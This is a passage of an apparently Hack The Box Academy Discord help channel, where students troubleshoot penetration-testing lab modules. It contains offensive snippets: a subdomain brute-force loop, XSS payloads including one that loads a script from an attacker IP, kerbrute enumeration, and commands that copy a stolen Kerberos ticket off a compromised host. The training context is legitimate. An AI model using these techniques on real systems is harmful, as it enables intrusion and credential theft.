#modules

1 messages · Page 359 of 1

safe star
#

Dm me it

sacred gull
#

Yeah, have seen it happen on an internal. Definitely not something likely to find but I have seen it irl

pine dune
dark hedge
#

it's a misconfig

mystic fjord
#

Anyway, i have to upload a reverse shell and when I try to upload the file or modify the request in repeater, it does not allow me to do so.

lusty thicket
midnight galleon
mystic fjord
lusty thicket
#

it’s not plug and play

#

news flash

mystic fjord
midnight galleon
dark hedge
#

depends on how severe it is

lusty thicket
sacred gull
dark hedge
#

if you can register an account and get access to sensitive information, that would probably get a higher CVSS score than registering and getting access to nothing sensitive

dark hedge
#

no, i have no notes or recollection of the module + section you're doing

mystic fjord
mystic fjord
#

Thanks!

hardy token
#

anyone know anything about pop3 mail?

#

Can someone pls help

lusty thicket
hardy token
#

Can you find the port and type of mail server (smtp, pop3) for this mail server "mail.notismail.com"

#

How would I find it because this is something I need to replicate

hardy token
#

an email module forgot exact one

compact matrix
#

is the session security module actually useful for the cbbh exam as it seems more informational than anything

brazen apex
#

Okay I got the answer to #Attacking Common Services, DNS. And should have gotten it way sooner.

#

Thanks for the assistance and advice, dns zone transfers are always a little tricky

inner meadow
#

How to write in offtopik?

dark hedge
#

verify your account by following the steps in #welcome

pine dune
#

wanna give a huge thank you and shoutout to @safe star for helping me with this module...couldnt have done it without ur thoughtful and considerable time

sacred gull
#

Honestly this connection issue is so annoying, making academy unusable rn

#

the vpn spits this out aswell

lusty thicket
sacred gull
lusty thicket
#

you're welcome buddy

sacred gull
#

If anyone can actually help then feel free to respond here or dm, but I feel like its def a platform issue

fathom pendant
sacred gull
#

Yeah, and switching servers

acoustic thorn
#

Has anyone here completed the attacking common services module without guidance? It might just be a skill issue but this module seems unreasonably difficult. It assumes you will searchsploit coreftp without knowing the version, then it assumes you will try a directory transversal despite not covering this material prior to the module. This is in addition to creating a webshell which shouldn't be exceedingly difficult but prior to this module its maybe comes up once :/ Am I dumb?

foggy monolith
#

Having VPN issues too myself, so seems like it's not an isolated incident. Literally been stuck on "Target(s) are spawning" for the past 5 minutes and counting (Module: Linux Privesc § Capabilities)

safe star
brazen apex
#

I could use some advice for module#Footprinting, section DNS. I've tried to complete this module multiple times but I always get stuck. If anyone could please give me a suggestion in the right direction it would be greatly appreciated. I have submitted what command I'm currently running to enumerate DC1

||for i in $(cat /usr/share/seclists/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt); do dig DC1.$i.inlanefreight.htb @ns.inlanefreight.htb | grep -v ';|SOA' | sed -r '/^\s*$/d'; done||

safe star
#

that shouldve been swapped with the hard lab

lusty thicket
#

thats normal

#

its just trying to simulate a real world scenario

brazen apex
safe star
acoustic thorn
brazen apex
#

But I'll go through again using a dns tool

zinc dune
#

Hii

fading seal
#

https://academy.hackthebox.com/module/158/section/1437

Does anyone know which release of Chisel is the valid one for this module / section?
The target is throwing the following error with all the minor versions I am testing:

./chisel: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.34' not found (required by ./chisel)
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.32' not found (required by ./chisel)

zinc dune
#

who knows hack please

safe star
#

wasnt this dude here earlier?

fading seal
azure turtle
#

" Use the cracked password of the user Kira and log in to the host and crack the "id_rsa" SSH key. Then, submit the password for the SSH key as the answer. "

I only need help on the "use the cracked password of the user kira and log into the host..." does it mean the password that was shown earlier in the section? because that doesn't work on ssh. along with the username. Am i missing something? or is it from a previous section and not in the protected files section at all?

lusty thicket
tender nimbus
#

Hey guys i'm on the module login brute force section skill assement 1, i need to brute force creds trought web auth but after 20 minutes stil nothing can anybody help me?

rustic sage
#

hi, this is from Module: Pivoting, Tunneling

ubuntu@WEB01:~$ cd ptunnel-ng/
ubuntu@WEB01:~/ptunnel-ng$ cd src/
ubuntu@WEB01:~/ptunnel-ng/src$ sudo ./ptunnel-ng -r10.129.180.111 -R22
[sudo] password for ubuntu: 
./ptunnel-ng: error while loading shared libraries: libcrypto.so.3: cannot open shared object file: No such file or directory

I am creating a ICMP tunneling server using ptunnel-ng on the target host (Ubuntu) and i've transferred the repo files via scp.
How can I resolve this error?

lusty thicket
rustic sage
#

the compromised machine can't resolve

#

the links

lusty thicket
rustic sage
#

Yeah, it doesn't. How can I get it to install them?
In such cases, I usually transfer the files via my attacker box to compromised machines, but I'm unsure for libraries

rustic sage
#

Nvm, I just created a binary out of it and used it. Thanks anyways

sacred gull
#

Can someone test double check my code for the IntallUtil section in the win av evasion module? Im pretty sure its right and the .txt says it passes all checks and is executing but got no shell

tender nimbus
lusty thicket
tender nimbus
tender nimbus
shut vapor
#

I'm in AD Enumeration & Attacks > Assessment #1 and
||I've dumped the SAM database on a machine to discover there is a DefaultPassword. IIRC this indicates the system is set to login automatically, and to do this it caches the password cleartext. Why is the user unknown (see "Unknown User" below) though? I can't remember if this is typical output (I am looking for the right section to reference but no luck so far).

[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword 
(Unknown User):<redacted_cleartext_password_here>
[*] DPAPI_SYSTEM 

||

gray yacht
shut vapor
#

huh, ok, I'll play with that too. Thanks.

safe star
#

Isn’t that the lsa?

shut vapor
#

No it's SAM and I used secretsdump.

#

I know the right answer but I see what R1cky's saying about just finding out using nxc if I didn't.

#

I just don't remember if we usually get a proper username in that scenario. I don't remember it looking like that before.

safe star
#

That’s how it is with mimikatz too

#

No username just password

#

I also just use netexec

shut vapor
#

Ok, thanks for the confirm.

sacred gull
#

Hey its me back to complain again, does anyone know when support goes back online?

dapper moth
#

I can compare your code to the one I got in my notes

foggy monolith
#

Target machine for the Linux Privesc skills assessment is taking 10 minutes and counting to spawn — after the ||T****t M*****r|| crashed on the previous instance and left me with no service running. Any idea what's going on?

cloud urchin
#

most likely a browser issue, ctrl+shift+r

foggy monolith
#

It's more than that because I've got a webshell on the box now but my Netcat listener won't pick it up.

cloud urchin
#

well no, you said the target wouldn't spawn. if you were able to connect then the target is spawned, so that's a totally separate issue.

wild remnant
#

Question for anyone taking Intro to Assembly, in the Procedures section, there is a question: " Try assembling and debugging the above code, and note how "call" and "ret" store and retrieve "rip" on the stack. What is the address at the top of the stack after entering "Exit"? (6-digit hex 0xaddress, without zeroes)"

Why is it that the answer is not obtained by adding a breakpoint when entering the "exit" function and checking its rsp, I got the answer by copy pasting all the memory addresses of the binary itself but it feels a little bit underwhelming to have gotten my answer by doing that. I'd like to know someones expert opinion please 🙏

lusty thicket
#

at the start of the exit func rsp should point to the ret addr

#

that call just pushed onto the stack

wild remnant
#

Ahhh you're right, I read up my command history and it's showing the answer, I probably copy pasted the wrong thing initially. Sorry about that 🙏

lusty thicket
#

awesome

safe star
#

awesome sauce

hallow flax
#

I could use some help with "introduction to NoSQL Injection", im trying to bypass authentication of MangoMail but it says "please enter an email address" when i input the exploit code (which i assumed would surely work). i have tried all kinds of different code snippets but the result is the same.

dapper moth
#

Try it in the RDP session you might have. Not in your machine

#

Wdym?

#

You have an RDP session to a machine connected to the internal network

#

Once you have a session in a Host connected to the internal network you can use whatever this Host have
You don’t need to use it from your machine

#

There is one of the Hosts that have a VNC Client

fallow kernel
#

Hello guys, can someone help me with the Information Gathering - Web Edition Skill Assessment

With this question:
*What is the API key in the hidden admin directory that you have discovered on the target system? *

I added the following line in my /etc/hosts file <ip> inlanefreight.htb. Then I try to use ffuf to enumerate the subdomains with ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://FUZZ.inlanefreight.htb:<port>" (also tried it with gobuster).

I do not get any results. Could someone explain what I am doing wrong here?

storm elk
#

make sure to check the part where you do vhost fuzzing

#

if you only added the main domain, you will not get any results

fallow kernel
#

Aaah I see now. Thanks for the tip!

storm elk
#

good lcuk

tender nimbus
#

this is my command rn

#

for the login brute force module skill assigemnt 1

#

ow okej i get it rn ahhaa

tacit monolith
#

I'm doing the File Upload Attacks module in the Blacklist Filters section, and I'm stuck because I can upload a file in php8 but it changes it to <!--?php echo "Hello"; ?-->
Does anyone know why it changes it?
Can someone help me please

limber river
harsh sundial
#

hey guys i have a question about a module can i get help here?

idle rampart
#

hey guys are we learning how to hack here ?

storm elk
#

you came to the right place @harsh sundial

compact patrolBOT
storm elk
#

@idle rampart 👆

harsh sundial
#

Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer.

storm elk
#

So what part did you get stuck on

harsh sundial
#

idk i wrote a couple of lines

#

they all gave me results but none seem to be working right

#

i asked ai for help but he couldn't get the right one either

fathom pendant
harsh sundial
fathom pendant
#

There's a forum answer that breaks down the commands and explains better

harsh sundial
#

oh thanks can u link it to me ?

fathom pendant
#

Google is free

harsh sundial
#

it is the hack the box forum

fathom pendant
#

Yes

harsh sundial
#

allright thx

fathom pendant
#

You can probably find it if you use the discord search function

harsh sundial
#

yea no i got it thank you

dim fossil
#

Hi

storm elk
#

hello

zenith belfry
shut vapor
pulsar willow
#

Here to learn the art of Pen Testing fingerguns

obtuse oar
#

F

haughty quarry
#

Hello, I'm doing AD Enumeration and attacks. I get error when I issue following command.
kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o valid_ad_users
The issue is because I've ip in the range of 10.x.x.x. How can I connect to reach out to 172.x.x.x ip?

chrome furnace
#

Is the port on proxychains.conf socks5 127.0.0.1 1080 the port Chisel is gonna listen to? Or should I just leave it on 1080?

chrome furnace
lusty thicket
lusty thicket
chrome furnace
chrome furnace
chrome furnace
# lusty thicket that line is for proxychains to know which proxy to connect to

Module: Pass the Ticket - Linux
https://academy.hackthebox.com/module/147/section/1657
Also, after establishing Proxychains and Chisel, how do I utilize it for file transfers? Do I still need to establish a server apart from the
(proxychains and chisel) on where the ccache is being held or I can just utilize the proxychains and chisel itself?

chrome furnace
chrome furnace
lusty thicket
lusty thicket
lusty thicket
fringe timber
#

Why can't I speak in general? I'm asking here because this is where I'm always redirected

hybrid temple
#

Anyone for a nudge on the HTTP Attacks Skills Assessment? I can bypass the WAF, but cannot see anything on /mail if I attack SMTP. According to the instructions, the WAF is there to protect internal endpoints, but I cannot find which one.

storm elk
urban elk
urban elk
#

ok

junior flicker
#

Hello, I'm working through Attacking Common Services, Attacking DNS and have hit a wall. I found three subdomains, ns, control, and helpdesk, but none of them are yielding new DNS records. I've tried using dig axfr, dig any on each with nothing to show. Also every time I run subbrute with the names.txt file I get a ProcessLookupError, which seems odd. Anyone got any ideas for me to try next?

midnight galleon
#

any good alterntives to proxychains

#

I swear to god this thing works 1% of the time when it feels like it

lusty thicket
brittle rain
#

thanks a lot!!!

dapper moth
#

Proxychains is clunky as heck but sometimes it's the only easy alternative

spare tendon
#

Hello everyone,

I am still on the Information Gathering - Web Edition skill assessment.
I am looking for the API key, could someone give me a clue on how to do it?
I already have the robots.txt and the hidden folders but no clue yet

#

on finding the API key

stable sandal
#

Module: Network Enumeration with Nmap
Section: Host and Port Scanning
Hey, I'm really struggling with the second task in this section:

Enumerate the hostname of your target and submit it as the answer. (case-sensitive)

I have tried -A / -sC -sV
and -O
-O -osscan-limit

eager umbra
#

i was just able to do it with -sC.

buoyant escarp
#

Module: Linux Priv Esc
Section: LXD

i have a running container with elevated privileges, now i want to establish an interactive shell into it, but my command throws an error, command not found.
lxc exec privesc /bin/bash
im not sure what command is not found, the lxc binary works just fine, i used it to make the image and container and stuff

#

or does that mean on the target container is no /bin/bash ?

#

||oh got it, there is no bash on alpine :/||

stable sandal
fathom pendant
#

?

#

That sounds weird, you scanned a target yeah?

eager umbra
lusty thicket
stable sandal
stable sandal
stable sandal
lusty thicket
stable sandal
eager umbra
#

what happens if you take out the -Pn?

stable sandal
eager umbra
#

what happens when you just ping it?

stable sandal
eager umbra
#

terminate the target box and spawn a new one. you should at least be able to ping

stable sandal
#

I will try that

stable sandal
#

The Output guys 😒
is it normal?

Nmap scan report for 10.129.7.36
Host is up.
All 1000 scanned ports on 10.129.7.36 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

Nmap done: 1 IP address (1 host up) scanned in 207.78 seconds

deft bison
#

I am currently working on Attacking Enterprise Networks module, section Lateral Movement. Trying to answer the last question, which is to obtain NTLMv2 password has for mpalledorous. The Inveigh module has been running for a while now, but there are no hashes. Am I missing something?

stable sandal
cerulean grail
#

Could someone please explain to me what the commands in the File Transfer In Linux With Bash mean?
I'm kinda lost. Not quite like anything I've seen before they look sort of odd.

lusty thicket
#

it’s standard bash syntax

cerulean grail
# lusty thicket what do you mean

I mean it usually looks like nc -nv <TARGET IP ADDRESS> <PORT NUMBER> or rlogin <TARGET IP ADDRESS> -l <ACCOUNT NAME> or whatever. In the commands in the section I mentioned I have no idea what's going on. Like what's exec 3<> etc.

buoyant escarp
#

Linux PrivEsc, Section Logrotate
i am able to get logrotate to get triggered by changing a log file, i have my payload set up and my rev shell waiting to be called, but logrotten catches the rotation and does his thing, but wont establish a shell, i have no clue why it wont connects to me back, ip/ping is correct

safe star
#

In the labs the llmnr attacks are targeted so you can’t run responder on any machine to catch it

lusty thicket
#

see not so strange now

#

you can do this exec 3<> file.txt
cat <&3 to receive input from file.txt

#

when you’re done with it you could close it exec 3>&-
i suggest you do the intro to bash scripting module before going any further

urban elk
#

or don't, to be honest you don't need to and cannot possibly know every detail about everything

lusty thicket
#

ignore that unless it’s something you can afford to skip 👆

urban elk
#

yep, always up to each individual. I would not stop learning file transfer methods to go learn bash because I didn't understand a one-liner that I can use without understanding, but that's up to me

#

hence the "or don't"

lusty thicket
#

if you don’t understand what every command does you risk leaving yourself vulnerable to problems you will not be able to solve

#

if that works

#

for you

urban elk
#

I'm ok with that, but yeah, up to each one to decide. Just giving an alternative

deft bison
flat patrol
#

I am having issues with the Information Gathering - Web Edition Module Skills Assessment. I cannot for the life of me, even ping inlanefreight.htb let alone do anything else with it like dig, dnsenum, etc. I added the IP with port and the inlanefreight.htb domain name to the /etc/hosts file, but it no workie. I tried without the port number, nothing. What am I missing?

#

I believe that's what I did when I dropped in the IP and domain (inlanefreight.htb) to the /etc/hosts file unless I did it incorrectly. I also tried modified with the port, no bueno.

buoyant escarp
safe star
deft bison
safe star
#

With all the privs and everything?

#

Are you using the exe or ps1? Maybe try the exe if not

safe star
#

You could probably just do another reverse shell after that one

deft bison
buoyant escarp
flat patrol
#

May I ask how you fixed this?

fathom pendant
#

I.e. you'd visit http://inlanefreight.htb:port

#

Your hosts file will look like
ip inlanefreight.htb

tulip cloak
#

Hi, I have exactly the same issue... were you able to solve it? I am getting crazy after two days of research still no answear how to solve this

rustic sage
#

Guys I'm in ad enumeration and attacks - skill assessment part 1 - question 3

It's not about the question, I can't fucking import active directory module

#

It keeps saying theres no file

#

I copied these files

Activedirectory.ps1
Activedirectory.psd1
Powerview.ps1
microsoft.activedirectory.management.dll

In the following directories
C:\windows\system32\windowspowershell\v1.0\modules
C:\windows\system32\windowspowershell\v1.0\modules\ActiveDirectory

C:\program files (x86)\windows powershell\modules
C:\program files (x86)\windows powershell\modules\ActiveDirectory

It keeps giving me error

tulip cloak
# safe star Try with sudo

Thanks for quick reply!

I tried:
sudo ssh -D 9050 ubuntu@10.129.29.209

netstat -antp | grep 9050
tcp 0 0 127.0.0.1:9050 0.0.0.0:* LISTEN

tail -4 /etc/proxychains.conf

socks4 127.0.0.1 9050

sudo proxychains nmap -v -sT 172.16.5.19

Still not working...
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn

safe star
#

Try -Pn

tulip cloak
#

but the problem is solution shows that it could be possible without -Pn... I mean nmap in solution shows open ports, with -Pn I can achieve only filtered, and other apps don't want to work either eg. proxychain firefox

edit: I think really sudo for ssh solved my problem... I'll retest on another lab and let you know, thanks!

tulip cloak
foggy monolith
#

Why does the WINLPE-SRV01 desktop keep reloading every 2 minutes and interrupting File Explorer sessions in the process? Makes it nearly impossible to work with.

viral snow
#

Does anyone else have trouble getting proxychains to work from time to time?

For me, sometimes proxychains will work, and sometimes it doesn't.

Yesterday and today, everything was working fine. Now all of a sudden I'm getting time out messages.

I didn't change a thing, I'm not doing anything different.

I've noticed in some forums how this is a common issue.

foggy monolith
# viral snow Does anyone else have trouble getting proxychains to work from time to time? Fo...

https://jh.live/vanta || Prove your security compliance with Vanta! Get $1,000 off with my link: https://jh.live/vanta
The Pivoting Lab SnapLabs template: https://jh.live/pivoting

Free Cybersecurity Education and Ethical Hacking with John Hammond
📧 JOIN MY NEWSLETTER ➡ https://jh.live/email
🙏 SUPPORT THE CHANNEL ➡ https://jh.live/patreon
🤝 SPON...

▶ Play video
safe star
#

but the ip you used doesnt exist

safe star
tulip cloak
# safe star yeah its working for me

thank you for checking, it is driving me mad FeelsWeirdMan yes, this IP does not exist there, I was doing lab from Pivoting&Tuneling module where it was introduced... anyway I will just try this Ligolo thing, I give up for now NotLikeThis thanks kennystrawnmusic

foggy monolith
safe star
#

yeah it was annoying but it bearable

rustic sage
#

Guys I'm in ad enumeration and attacks - skill assessment part 1 - question 3

It's not about the question, I can't fucking import active directory module
I copied these files

Activedirectory.ps1
Activedirectory.psd1
Powerview.ps1
microsoft.activedirectory.management.dll

In the following directories
C:\windows\system32\windowspowershell\v1.0\modules
C:\windows\system32\windowspowershell\v1.0\modules\ActiveDirectory

C:\program files (x86)\windows powershell\modules
C:\program files (x86)\windows powershell\modules\ActiveDirectory

It keeps giving me error

lusty thicket
vague lotus
#

Hey I'm starting Introduction to Windows Evasion Techniques ...I spun up the pwnbox and set the command to RDP

#

you can see that it doesn't work as I don't have the IP address of EVASION-DEV

#

you can't ping EVASION-DEV for IP resolution...and dig doesn't return anything

#

wait im a moron

#

helps if you spin up the dev box first lol

chrome furnace
#

Why is it that even after transferring julio's ccache on Pwnbox and setting it using export KRB5CCNAME=/root/<julio-ccache> the path is also correct and I've also change permissions of the ccache using chmod 777 <julio-ccache> when I do klist, it still says "Unsupported credentials cache format version number"

chrome furnace
chrome furnace
lusty thicket
#

verify file format using file

chrome furnace
lusty thicket
chrome furnace
lusty thicket
#

looks like it was turned into a html document during transfer

chrome furnace
lusty thicket
#

ftp/scp default to ascii mode for file transfers btw

chrome furnace
#

ok ill try again using scp

lusty thicket
lusty thicket
chrome furnace
# lusty thicket awesome

proxychains scp -o "ProxyJump david@inlanefreight.htb@linux01" svc_workstations@inlanefreight.htb@linux01:/tmp/krb5cc_647401106_HRJDux /home/htb-ac-1003645/transfer Do you have anything better in mind to conduct file transfer once Chisel and Proxychains has been established?

safe star
chrome furnace
safe star
#

ms01 and linux01 are both reachable without pivoting

#

dc01 isnt

chrome furnace
# safe star ms01 and linux01 are both reachable without pivoting

if this is the case, why would the module teach you to set up the chisel and proxychains then? ```Scenario

To practice and understand how we can abuse Kerberos from a Linux system, we have a computer (LINUX01) connected to the Domain Controller. This machine is only reachable through MS01. To access this machine over SSH, we can connect to MS01 via RDP and, from there, connect to the Linux machine using SSH from the Windows command line. Another option is to use a port forward. If you don't know how to do it, you can read the module Pivoting, Tunneling, and Port Forwarding. As an alternative, we created a port forward to simplify the interaction with LINUX01. By connecting to port TCP/2222 on MS01, we will gain access to port TCP/22 on LINUX01.```

#

Based on how I understand it, the port 2222 on ms01 is configured in a way that when you connect to it via SSH, it'll connect you to Linux01's Port 22

#

Right?

chrome furnace
heady escarp
#

Anyone know how to passcode crack

lusty thicket
heady escarp
#

Pardon?

#

Do u know how to do it?

lusty thicket
heady escarp
#

Can u try

safe star
#

no proxychains needed

lusty thicket
heady escarp
#

I got scammed

lusty thicket
heady escarp
#

Bruh

#

That’s a lame way to do stuff

lusty thicket
#

but its just the way it is

heady escarp
#

But I can make his life miserable

#

Which is finer

#

Fun

#

CUS he took my money

lusty thicket
#

you know what

#

hell yeah

heady escarp
#

Your gonna help me ?

lusty thicket
#

no

heady escarp
#

Bruhhh

viscid horizon
#

why this happening to me

olive slate
#

Is anyone able to help with "Misc CSRF Exploitation"? I got the client side redirect to work but when i tested it on my end the session cookie was not getting included in the redirection?

chrome furnace
chrome furnace
# lusty thicket scp?

scp svc_workstations@<IP>:/home/user/file.txt /local/directory/ Do i specify the IP of Linux01 in which where the ccache file will come from or do I specify the MS01 IP?

tulip cloak
chrome furnace
# lusty thicket scp?
  1. scp svc_workstations@10.129.147.77:2222:/tmp/krb5cc_647401106_HRJDux /root
  2. scp svc_workstations@inlanefreight.htb@10.129.147.77:2222:/tmp/krb5cc_647401106_HRJDux /root
    both are connection refuse
safe star
#

it woudlnt work anyway

chrome furnace
safe star
chrome furnace
foggy monolith
#

Import-Module .\SeBackupPrivilegeUtils.dll
Operation is not supported

Looks like some outdated module content. Either that or how do I get PowerShell to recognize said files as valid for import?

safe star
viscid horizon
safe star
#

scp should work since you changed the privs, but i think a new ticket gets replaced at a certain interval

lusty thicket
#

is this what the module discussed?

#

because modules are basically .ps

chrome furnace
#

was able to transfer now the ccache without changing the file format of it

lusty thicket
#

awesome

chrome furnace
foggy monolith
foggy monolith
lusty thicket
foggy monolith
#

I'm aware of that, but apparently whoever wrote the contents of the module isn't.

lusty thicket
#

the instruction you're quoting probably involves loading a utility that enables that privilege

safe star
lusty thicket
#

it cant mean just slap it onto import-module

#

now OBVIOUSLY the operation is not permitted

#

a quick google search says to load via add-type

foggy monolith
#

The lesson seems to be very buggy.

safe star
#

worked fine for me

#

try restarting

lusty thicket
#

are you sure you have the right dll?

foggy monolith
safe star
#

no

foggy monolith
#

Resetting the target worked. Mistake was trying to load another copy that wasn't the version already on the target.

clear coral
#

I'm currently on the meterpreter tunneling and portforwarding section of the Pivoting, Tunneling, and Port Forwarding module. I had to step out before finishing the last question yesterday, but when I tried to do it today, I keep getting Segmentation fault (core dumped) when trying to execute the payload through ssh. Was not having this issue yesterday.. I've tried making a new payload and restarting the VM and I'm still getting the same error. Any ideas why?

lusty thicket
#

right?

cloud urchin
#

maybe need to respawn the target or wait longer for the environment to fully boot up

clear coral
junior flicker
#

Hello, I'm working through Attacking Common Services, Attacking DNS and have hit a wall. I found three subdomains, ns, control, and helpdesk, but none of them are yielding new DNS records. I've tried using dig axfr, dig any on each with nothing to show. Also every time I run subbrute with the names.txt file I get a ProcessLookupError, which seems odd. Anyone got any ideas for me to try next?

rustic sage
#

Hi guys, I'm trying to have a server on the Pivot Host using Chisel Reverse Pivot:

./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./chisel)
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./chisel)

How can i resolve this?
This is the Pivoting module

cloud urchin
rustic sage
#

Alright, amazing, thanks!

cloud urchin
junior flicker
#

Yep, I put the IP of the target in the resolvers.txt file

#

./subbrute.py -s names.txt -r resolvers.txt -p inlanefreight.htb

cloud urchin
#

double check everything, your command, the files, make sure no spaces in the text files etc

junior flicker
cloud urchin
#

yeah either that or maybe something wrong with your python

junior flicker
#

Okay

#

I'm running the command with verbose and it's checking properly, so far, I'm waiting to see where it dies

#

Checking: rainfield61.inlanefreight.htb
Checking: disneyandmore.inlanefreight.htb
Checking: yalla-tv.inlanefreight.htb
Checking: jquerybyexample.inlanefreight.htb
Checking: partylandportugal.inlanefreight.htb
Checking: iansnaturism2.inlanefreight.htb

lusty thicket
#

awesome

clear coral
lusty thicket
#

awesome

junior flicker
#

Oh, I should probably note the ProcessErrorLookup was coming up on the Pwnbox, not my personal machine. Should I report that to someone? I am 29000 subdomains in and no error yet on my personal machine

rustic sage
#

I feel like the Module RDPOverSocks is not that well-written, and it lacks diagram too to understand whats really happening.

#

Im confused with what the target is here, whats the pivot host and whats the attacker host

cloud urchin
#

your vm/pwnbox is the attacker host, the pivot box is the box you're tunneling your traffic through, and the target is the target you're trying to reach

wraith yarrow
#

Hey guys

storm elk
#

Hello kid

rustic sage
cloud urchin
#

it's windows, generally rdp = windows and ssh = linux (but both can have either)

rustic sage
#

And why are we transferring Proxifier to the Pivot this time?

cloud urchin
rustic sage
#

I know. But the last few sections that I read, we usually set up Proxifier on our attacker host. Here, we transferred it and set it up on Pivot. That's what confused me

#

A diagram would help

halcyon ledge
#

Does anybody know how to get free membership of a youtube channel?

cloud urchin
cloud urchin
rustic sage
#

its when the attacker host is Windows I mean

cloud urchin
#

the attacker host is pwnbox or your linux vm

#

you don't run proxifier on it

halcyon ledge
#

Okk

#

I am new can anyone tell me something special

rustic sage
#

lol

rustic sage
storm elk
lusty thicket
rustic sage
storm elk
#

Correspondence can tell you how

lusty thicket
#

😉

round marten
random merlin
#

hii

rustic sage
#

hiiiiiiiiiiii

storm elk
#

hello

eager zinc
#

how to get around this

cunning frigate
autumn pilot
#

I don't advise killing the process running on port 80 on the workstation

eager zinc
#

diffrent port doesnt seem to be working

autumn pilot
#

@rustic sage not the place

rustic sage
#

Oh

urban elk
#

aw I was reading that

rustic sage
#

Oop where do I do that then

#

?

autumn pilot
#

not in this discord server

rustic sage
#

Oh

#

I ha e a question why can I chat in general

autumn pilot
keen minnow
#

Probably been asked before, but is it possible to reset module progress? I completed a module last year and would like to go through it again from fresh.

misty current
urban elk
#

probably a cool little project to make a small browser plugin to hide the answers

sour lake
#

Can someone help me with the XSS Filter Bypass section of the Advanced XSS and CSRF Exploitation Module? I have found that the <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> can get an alert. However when I change the payload to the exploit server link and put my payload I don't seem to be getting anything on the exfiltrate.htb:PORT/log page. The hint says that you shouldn't put a port in the payload and I haven't but I can't seem to get it to work. Can someone help pls?

hasty mauve
#

In Attacking Web Applications with Ffuf In the skills assessment, I'm trying to submit the answer and I'm pretty sure it's correct.
But it keeps saying Incorrect answer!

#

It's the question that says One of the pages you will identify should say 'You don't have access!'. What is the full page URL?

autumn pilot
#

Check the hint

hasty mauve
ancient owl
#

ABUSING HTTP MISCONFIGURATIONS SKILL ASSESSMENT HARD :
I was able to find the first vulnerabilty and exploit it to get access to another dashboard. But now im stuck on the second part where I have to input a code to proceed. I assume its a Host Header Injection, which I tried several attacks. But im stuck. Anyone willing to give me a nudge?

hasty mauve
#

BRUUH, I was just supposed to replace the actual port with the word PORT.
I mean I read the hint but It did not specify the answer should be like this.

autumn pilot
#

follow the provided syntax

hasty mauve
sour lake
neon sand
#

Hey guys I'm having trouble with Alert machine can someone help me please?

rough acorn
#

Yes no problem check dm 😉

neon sand
#

Oh I'm sorry

storm elk
#

no problem 😄

neon sand
rough acorn
#

Oh btw

#

I saw something like "respect" on htb

#

what is it? how to gain respect?

storm elk
#

when users visit your profile they can respect you

rough acorn
#

Oh alright

severe inlet
#

For the active directory enumeration and attacks module

section of LLMNR/NBT-NS Poisoning - from Windows

The rdp access doesn't work

and when it works i get to have like a minute before i get kicked out of the windows machine

i have been strugling now with the same issue for an hour maybe because i cant answer the last question i'm thinking about skipping it now

I get this error whenever i try to access the machine via rdp

xfreerdp /v:10.129.122.19 /u:htb-student /p:Academy_student_AD!
[04:52:01:808] [6797:6798] [ERROR][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_FAILED [0x00020006]
[04:52:01:809] [6797:6798] [ERROR][com.freerdp.core] - failed to connect to 10.129.122.19

analog dock
dry obsidian
dry obsidian
rough acorn
#

Do u guys know good resource to learn Windows and Active Directory? I have 0 experience in that.

severe inlet
analog dock
severe inlet
#

i did multiple times aswell

#

i tried resetting the vm and also the target

analog dock
#

Best to contact support then

severe inlet
#

i'll just skip it for now and maybe get back when i finish the whole module

#

because i already know how to answer and everything but its just buggy

autumn pilot
#

have you tried reaching out to support?

severe inlet
#

no i haven't
how can i do that?

#

do i need to email them and something or just a quick chat box?

compact patrolBOT
eager zinc
#

is there an automated tool to help with that? whcih checks which parameters are working? xsstrick is not woking for the given test

misty current
eager zinc
#

mhm okey thanks

misty current
eager zinc
#

i made these and i placed
"><script src=http://192.168.29.249:8080/script.js></script>

but im not getting any response on my php server

#

can someone tell me what am i doing wrong

spare tendon
#

Hi everyone, I'm on Attacking Web Applications with Ffuf on the Skills Assessment - Web Fuzzing section and on the question:
One of the pages you will identify should say 'You don't have access!'. What is the full page URL?

I found the page but I don't know the expected format because it always tells me it's wrong but, I test on the pwnbox browser, it's the right page.

Can someone help me?

placid edge
eager zinc
#
  1. no i did not get any request
  2. sudo php -S 0.0.0.0:8080
  3. http server? no i didnt, im trying to import script from my vm to the xss injection website
placid edge
#

Make sure you understand what is going on.

Your xss payloads make a http request to your php server on port 8080, however your supposed to make your xss go to your js then the js will call to your php

Setup python3 -m http.server on port 8000 in its own terminal
run your php server php -S 0.0.0.0:8080 in its own terminal on port 8080

Then send your xss payload to "><script src=http://192.168.29.249:8000/script.js></script>

#

xss -> port 8000 hosting your image that makes a request to your php server on port 8080

#

xss -> js -> php

misty current
#

Are you sure 192.168.29.249 is the VPN IP? @eager zinc

eager zinc
#

yes

placid edge
#

i mean he is expecting a callback with no server

placid edge
#

sweet

dry obsidian
green minnow
#

With the Nmap enumeration medium lab "After the configurations are transferred to the system, our client wants to know if it is possible to find out our target's DNS server version. Submit the DNS server version of the target as the answer. " am I just formatting the answer wrong?

I have found the dns server on the UDP port and discovered what service is running (An open source DNS) but answer isn't accepted. Is my formatting just wrong?

fervent hull
#

someone can help me how to use codes in Plans?

storm elk
#

use codes in what now?

fervent hull
#

annual plans's code

storm elk
#

This is not for Academy

fervent hull
#

Thank you

eager zinc
#

oof that is why i was having trouble

#

i got it

green minnow
#

Bruh the Academy Firewall and IDS/IPS Evasion - Medium Lab is broken it gives a different result to the same nmap command if you use your own machine rather than pwnbox

fathom pendant
#

Not broken. Just a weird quirk

green minnow
#

How is that not broken? It wasted an hour and a half of my time.

#

Now I'm wondering how many other labs are randomly not gonna work if I don't use pwnbox

fathom pendant
#

I've only run into it like once or twice

